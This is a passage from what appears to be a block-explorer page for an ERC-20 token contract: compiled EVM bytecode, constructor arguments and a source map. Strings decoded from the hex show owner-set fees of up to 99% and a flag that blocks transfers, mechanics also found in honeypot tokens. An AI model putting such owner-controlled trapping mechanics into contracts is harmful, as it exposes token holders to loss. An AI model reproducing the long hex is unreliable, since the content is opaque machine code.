5b80156124855750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124db5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561251f576001600860146101000a81548160ff021916908315150217905550612503612d28565b6000600860146101000a81548160ff0219169083151502179055505b6000600860149054906101000a900460ff16159050601760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125d55750601760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806125ed5750600d60019054906101000a900460ff16155b1561264e57600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561264957600080fd5b600090505b6000811561287c576001600d60016101000a81548160ff021916908315150217905550601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126cc57506000601254115b15612766576126f960646126eb60125488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b90506012546014548261270c9190613cb1565b6127169190613d22565b6016600082825461272791906138be565b925050819055506012546013548261273f9190613cb1565b6127499190613d22565b6015600082825461275a91906138be565b92505081905550612858565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127c157506000601054115b15612857576127ee60646127e060105488612f3590919063ffffffff16565b612f4b90919063ffffffff16565b9050601054600e54826128019190613cb1565b61280b9190613d22565b6016600082825461281c91906138be565b92505081905550601054600f54826128349190613cb1565b61283e9190613d22565b6015600082825461284f91906138be565b925050819055505b5b600081111561286d5761286c873083612aa9565b5b80856128799190614594565b94505b612887878787612aa9565b601154601281905550505050505b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612aa4565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0f9061463a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7e906146cc565b60405180910390fd5b612b92838383612f61565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0f9061475e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cab91906138be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612d0f9190613529565b60405180910390a3612d22848484612f66565b50505050565b6000612d3330611098565b90506000601554601654612d4791906138be565b9050600080831480612d595750600082145b15612d6657505050612f33565b6014600b54612d759190613cb1565b831115612d8e576014600b54612d8b9190613cb1565b92505b600060028360165486612da19190613cb1565b612dab9190613d22565b612db59190613d22565b90506000612dcc8286612f6b90919063ffffffff16565b90506000479050612ddc82612f81565b6000612df18247612f6b90919063ffffffff16565b90506000612e1c87612e0e60155485612f3590919063ffffffff16565b612f4b90919063ffffffff16565b905060008183612e2c9190614594565b905060006016819055506000601581905550600086118015612e4e5750600081115b15612e9b57612e5d86826131be565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601654604051612e929392919061477e565b60405180910390a15b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051612ee1906147e6565b60006040518083038185875af1925050503d8060008114612f1e576040519150601f19603f3d011682016040523d82523d6000602084013e612f23565b606091505b5050809750505050505050505050505b565b60008183612f439190613cb1565b905092915050565b60008183612f599190613d22565b905092915050565b505050565b505050565b60008183612f799190614594565b905092915050565b6000600267ffffffffffffffff811115612f9e57612f9d6147fb565b5b604051908082528060200260200182016040528015612fcc5781602001602082028036833780820191505090505b5090503081600081518110612fe457612fe3613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130ad919061483f565b816001815181106130c1576130c0613a50565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613126307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c9a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613188959493929190614965565b600060405180830381600087803b1580156131a257600080fd5b505af11580156131b6573d6000803e3d6000fd5b505050505050565b6131e9307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c9a565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401613250969594939291906149bf565b60606040518083038185885af115801561326e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132939190614a35565b5050505050565b600080fd5b600080fd5b6000819050919050565b6132b7816132a4565b81146132c257600080fd5b50565b6000813590506132d4816132ae565b92915050565b600080604083850312156132f1576132f061329a565b5b60006132ff858286016132c5565b9250506020613310858286016132c5565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613354578082015181840152602081019050613339565b60008484015250505050565b6000601f19601f8301169050919050565b600061337c8261331a565b6133868185613325565b9350613396818560208601613336565b61339f81613360565b840191505092915050565b600060208201905081810360008301526133c48184613371565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133f7826133cc565b9050919050565b613407816133ec565b811461341257600080fd5b50565b600081359050613424816133fe565b92915050565b600080604083850312156134415761344061329a565b5b600061344f85828601613415565b9250506020613460858286016132c5565b9150509250929050565b60008115159050919050565b61347f8161346a565b82525050565b600060208201905061349a6000830184613476565b92915050565b6000819050919050565b60006134c56134c06134bb846133cc565b6134a0565b6133cc565b9050919050565b60006134d7826134aa565b9050919050565b60006134e9826134cc565b9050919050565b6134f9816134de565b82525050565b600060208201905061351460008301846134f0565b92915050565b613523816132a4565b82525050565b600060208201905061353e600083018461351a565b92915050565b60008060006060848603121561355d5761355c61329a565b5b600061356b86828701613415565b935050602061357c86828701613415565b925050604061358d868287016132c5565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126135bc576135bb613597565b5b8235905067ffffffffffffffff8111156135d9576135d861359c565b5b6020830191508360208202830111156135f5576135f46135a1565b5b9250929050565b6000806000604084860312156136155761361461329a565b5b600084013567ffffffffffffffff8111156136335761363261329f565b5b61363f868287016135a6565b93509350506020613652868287016132c5565b9150509250925092565b613665816133ec565b82525050565b6000602082019050613680600083018461365c565b92915050565b600060ff82169050919050565b61369c81613686565b82525050565b60006020820190506136b76000830184613693565b92915050565b6136c68161346a565b81146136d157600080fd5b50565b6000813590506136e3816136bd565b92915050565b6000806000604084860312156137025761370161329a565b5b600084013567ffffffffffffffff8111156137205761371f61329f565b5b61372c868287016135a6565b9350935050602061373f868287016136d4565b9150509250925092565b60006020828403121561375f5761375e61329a565b5b600061376d84828501613415565b91505092915050565b6000806040838503121561378d5761378c61329a565b5b600061379b85828601613415565b92505060206137ac858286016136d4565b9150509250929050565b6000602082840312156137cc576137cb61329a565b5b60006137da848285016132c5565b91505092915050565b600080604083850312156137fa576137f961329a565b5b600061380885828601613415565b925050602061381985828601613415565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613859602083613325565b915061386482613823565b602082019050919050565b600060208201905081810360008301526138888161384c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c9826132a4565b91506138d4836132a4565b92508282019050808211156138ec576138eb61388f565b5b92915050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b6000613928601d83613325565b9150613933826138f2565b602082019050919050565b600060208201905081810360008301526139578161391b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806139a557607f821691505b6020821081036139b8576139b761395e565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613a1a602883613325565b9150613a25826139be565b604082019050919050565b60006020820190508181036000830152613a4981613a0d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613a8a826132a4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613abc57613abb61388f565b5b600182019050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b6000613afd601d83613325565b9150613b0882613ac7565b602082019050919050565b60006020820190508181036000830152613b2c81613af0565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115613b8a57808604811115613b6657613b6561388f565b5b6001851615613b755780820291505b8081029050613b8385613b33565b9450613b4a565b94509492505050565b600082613ba35760019050613c5f565b81613bb15760009050613c5f565b8160018114613bc75760028114613bd157613c00565b6001915050613c5f565b60ff841115613be357613be261388f565b5b8360020a915084821115613bfa57613bf961388f565b5b50613c5f565b5060208310610133831016604e8410600b8410161715613c355782820a905083811115613c3057613c2f61388f565b5b613c5f565b613c428484846001613b40565b92509050818404811115613c5957613c5861388f565b5b81810290505b9392505050565b6000613c71826132a4565b9150613c7c83613686565b9250613ca97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b6000613cbc826132a4565b9150613cc7836132a4565b9250828202613cd5816132a4565b91508282048414831517613cec57613ceb61388f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d2d826132a4565b9150613d38836132a4565b925082613d4857613d47613cf3565b5b828204905092915050565b7f43616e6e6f7420736574206d617854786e206c6f776572207468616e20302e3560008201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b6000613daf602183613325565b9150613dba82613d53565b604082019050919050565b60006020820190508181036000830152613dde81613da2565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e41602483613325565b9150613e4c82613de5565b604082019050919050565b60006020820190508181036000830152613e7081613e34565b9050919050565b6000613e82826132a4565b9150613e8d836132a4565b9250613eba7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613b93565b905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613f1e603983613325565b9150613f2982613ec2565b604082019050919050565b60006020820190508181036000830152613f4d81613f11565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613fb0602583613325565b9150613fbb82613f54565b604082019050919050565b60006020820190508181036000830152613fdf81613fa3565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000614042603583613325565b915061404d82613fe6565b604082019050919050565b6000602082019050818103600083015261407181614035565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006140d4603483613325565b91506140df82614078565b604082019050919050565b60006020820190508181036000830152614103816140c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614166602683613325565b91506141718261410a565b604082019050919050565b6000602082019050818103600083015261419581614159565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006141f8602483613325565b91506142038261419c565b604082019050919050565b60006020820190508181036000830152614227816141eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061428a602283613325565b91506142958261422e565b604082019050919050565b600060208201905081810360008301526142b98161427d565b9050919050565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b60006142f6601e83613325565b9150614301826142c0565b602082019050919050565b60006020820190508181036000830152614325816142e9565b9050919050565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b6000614362601c83613325565b915061436d8261432c565b602082019050919050565b6000602082019050818103600083015261439181614355565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006143ce601683613325565b91506143d982614398565b602082019050919050565b600060208201905081810360008301526143fd816143c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000614460603583613325565b915061446b82614404565b604082019050919050565b6000602082019050818103600083015261448f81614453565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006144cc601383613325565b91506144d782614496565b602082019050919050565b600060208201905081810360008301526144fb816144bf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b600061455e603683613325565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b600061459f826132a4565b91506145aa836132a4565b92508282039050818111156145c2576145c161388f565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614624602583613325565b915061462f826145c8565b604082019050919050565b6000602082019050818103600083015261465381614617565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146b6602383613325565b91506146c18261465a565b604082019050919050565b600060208201905081810360008301526146e5816146a9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614748602683613325565b9150614753826146ec565b604082019050919050565b600060208201905081810360008301526147778161473b565b9050919050565b6000606082019050614793600083018661351a565b6147a0602083018561351a565b6147ad604083018461351a565b949350505050565b600081905092915050565b50565b60006147d06000836147b5565b91506147db826147c0565b600082019050919050565b60006147f1826147c3565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614839816133fe565b92915050565b6000602082840312156148555761485461329a565b5b60006148638482850161482a565b91505092915050565b6000819050919050565b600061489161488c6148878461486c565b6134a0565b6132a4565b9050919050565b6148a181614876565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6148dc816133ec565b82525050565b60006148ee83836148d3565b60208301905092915050565b6000602082019050919050565b6000614912826148a7565b61491c81856148b2565b9350614927836148c3565b8060005b8381101561495857815161493f88826148e2565b975061494a836148fa565b92505060018101905061492b565b5085935050505092915050565b600060a08201905061497a600083018861351a565b6149876020830187614898565b81810360408301526149998186614907565b90506149a8606083018561365c565b6149b5608083018461351a565b9695505050505050565b600060c0820190506149d4600083018961365c565b6149e1602083018861351a565b6149ee6040830187614898565b6149fb6060830186614898565b614a08608083018561365c565b614a1560a083018461351a565b979650505050505050565b600081519050614a2f816132ae565b92915050565b600080600060608486031215614a4e57614a4d61329a565b5b6000614a5c86828701614a20565b9350506020614a6d86828701614a20565b9250506040614a7e86828701614a20565b915050925092509256fea2646970667358221220109ee1c1a6546cf715da494ac9ed4c9b739a190ed988778bbc713e72f433b57f64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000aa6cf096905c32ac88a52ef963cc2ae6e58f005e

-----Decoded View---------------
Arg [0] : marketing_ (address): 0xAA6CF096905C32aC88a52eF963Cc2aE6E58f005E

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000aa6cf096905c32ac88a52ef963cc2ae6e58f005e


Deployed Bytecode Sourcemap

4597:12630:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9532:380;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;561:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1474:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4676:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;881:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1651:492;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7931:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4851:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;781:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10453:226;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2572:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4816:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11248:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9920:335;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5335:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5157:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;997:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;856:112:2;;;;;;;;;;;;;:::i;:::-;;9223:167:0;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4943:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;633:87:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;669:104:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8162:548;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10691:353;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2151:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5127:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1132:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9398:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5095:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10263:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7832:91;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4980:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8718:497;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5265:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1315:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5022:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;976:201:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5062:24:0;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9532:380;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9676:13:0::1;9657:16;:32;;;;9719:13;9700:16;:32;;;;9778:16;;9759;;:35;;;;:::i;:::-;9743:13;:51;;;;9819:13;;9805:11;:27;;;;9868:2;9851:13;;:19;;9843:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;9532:380:::0;;:::o;561:100::-;615:13;648:5;641:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;561:100;:::o;1474:169::-;1557:4;1574:39;1583:12;:10;:12::i;:::-;1597:7;1606:6;1574:8;:39::i;:::-;1631:4;1624:11;;1474:169;;;;:::o;4676:51::-;;;:::o;881:108::-;942:7;969:12;;962:19;;881:108;:::o;1651:492::-;1791:4;1808:36;1818:6;1826:9;1837:6;1808:9;:36::i;:::-;1857:24;1884:11;:19;1896:6;1884:19;;;;;;;;;;;;;;;:33;1904:12;:10;:12::i;:::-;1884:33;;;;;;;;;;;;;;;;1857:60;;1956:6;1936:16;:26;;1928:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;2043:57;2052:6;2060:12;:10;:12::i;:::-;2093:6;2074:16;:25;2043:8;:57::i;:::-;2131:4;2124:11;;;1651:492;;;;;:::o;7931:223::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8028:9:0::1;8023:124;8047:10;;:17;;8043:1;:21;8023:124;;;8115:10;;8126:1;8115:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8091:44;;8100:13;;;;;;;;;;;8091:44;;;8130:4;8091:44;;;;;;:::i;:::-;;;;;;;;8066:3;;;;;:::i;:::-;;;;8023:124;;;;7931:223:::0;;;:::o;4851:53::-;4897:6;4851:53;:::o;781:92::-;839:5;864:1;857:8;;781:92;:::o;10453:226::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10543:9:0::1;10538:134;10562:8;;:15;;10558:1;:19;10538:134;;;10657:3;10599:42;:55;10642:8;;10651:1;10642:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10599:55;;;;;;;;;;;;;;;;:61;;;;;;;;;;;;;;;;;;10579:3;;;;;:::i;:::-;;;;10538:134;;;;10453:226:::0;;;:::o;2572:215::-;2660:4;2677:80;2686:12;:10;:12::i;:::-;2700:7;2746:10;2709:11;:25;2721:12;:10;:12::i;:::-;2709:25;;;;;;;;;;;;;;;:34;2735:7;2709:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;2677:8;:80::i;:::-;2775:4;2768:11;;2572:215;;;;:::o;4816:28::-;;;;;;;;;;;;;:::o;11248:126::-;11314:4;11338:19;:28;11358:7;11338:28;;;;;;;;;;;;;;;;;;;;;;;;;11331:35;;11248:126;;;:::o;9920:335::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10062:13:0::1;10044:15;:31;;;;10104:13;10086:15;:31;;;;10161:15;;10143;;:33;;;;:::i;:::-;10128:12;:48;;;;10211:2;10195:12;;:18;;10187:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9920:335:::0;;:::o;5335:28::-;;;;:::o;5157:23::-;;;;;;;;;;;;;:::o;997:127::-;1071:7;1098:9;:18;1108:7;1098:18;;;;;;;;;;;;;;;;1091:25;;997:127;;;:::o;856:112:2:-;779:12;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:30:::1;957:1;930:18;:30::i;:::-;856:112::o:0;9223:167:0:-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9378:4:0::1;9336:31;:39;9368:6;9336:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;9223:167:::0;;:::o;4943:30::-;;;;;;;;;;;;;:::o;633:87:2:-;679:7;706:6;;;;;;;;;;;699:13;;633:87;:::o;669:104:0:-;725:13;758:7;751:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;669:104;:::o;8162:548::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8343:10:0::1;:8;:10::i;:::-;8339:2;:14;;;;:::i;:::-;8331:4;8326:1;8310:13;:11;:13::i;:::-;:17;;;;:::i;:::-;8309:26;;;;:::i;:::-;8308:45;;;;:::i;:::-;8295:9;:58;;8273:141;;;;;;;;;;;;:::i;:::-;;;;;;;;;8501:10;:8;:10::i;:::-;8497:2;:14;;;;:::i;:::-;8489:4;8484:1;8468:13;:11;:13::i;:::-;:17;;;;:::i;:::-;8467:26;;;;:::i;:::-;8466:45;;;;:::i;:::-;8447:15;:64;;8425:150;;;;;;;;;;;;:::i;:::-;;;;;;;;;8625:10;:8;:10::i;:::-;8621:2;:14;;;;:::i;:::-;8617:2;:18;;;;:::i;:::-;8598:15;:38;;;;:::i;:::-;8586:9;:50;;;;8691:10;:8;:10::i;:::-;8687:2;:14;;;;:::i;:::-;8683:2;:18;;;;:::i;:::-;8670:9;:32;;;;:::i;:::-;8647:20;:55;;;;8162:548:::0;;:::o;10691:353::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10835:13:0::1;;;;;;;;;;;10827:21;;:4;:21;;::::0;10805:128:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;10944:38;10970:4;10976:5;10944:25;:38::i;:::-;10993:41;11022:4;11028:5;10993:28;:41::i;:::-;10691:353:::0;;:::o;2151:413::-;2244:4;2261:24;2288:11;:25;2300:12;:10;:12::i;:::-;2288:25;;;;;;;;;;;;;;;:34;2314:7;2288:34;;;;;;;;;;;;;;;;2261:61;;2361:15;2341:16;:35;;2333:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;2454:67;2463:12;:10;:12::i;:::-;2477:7;2505:15;2486:16;:34;2454:8;:67::i;:::-;2552:4;2545:11;;;2151:413;;;;:::o;5127:23::-;;;;;;;;;;;;;:::o;1132:175::-;1218:4;1235:42;1245:12;:10;:12::i;:::-;1259:9;1270:6;1235:9;:42::i;:::-;1295:4;1288:11;;1132:175;;;;:::o;9398:126::-;9450:4;9471:42;:45;9514:1;9471:45;;;;;;;;;;;;;;;;;;;;;;;;;9464:52;;9398:126;;;:::o;5095:25::-;;;;;;;;;;;;;:::o;10263:182::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10379:8:0::1;10348:19;:28;10368:7;10348:28;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;10419:7;10403:34;;;10428:8;10403:34;;;;;;:::i;:::-;;;;;;;;10263:182:::0;;:::o;7832:91::-;779:12:2;:10;:12::i;:::-;768:23;;:7;:5;:7::i;:::-;:23;;;760:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7910:5:0::1;7894:13;;:21;;;;;;;;;;;;;;;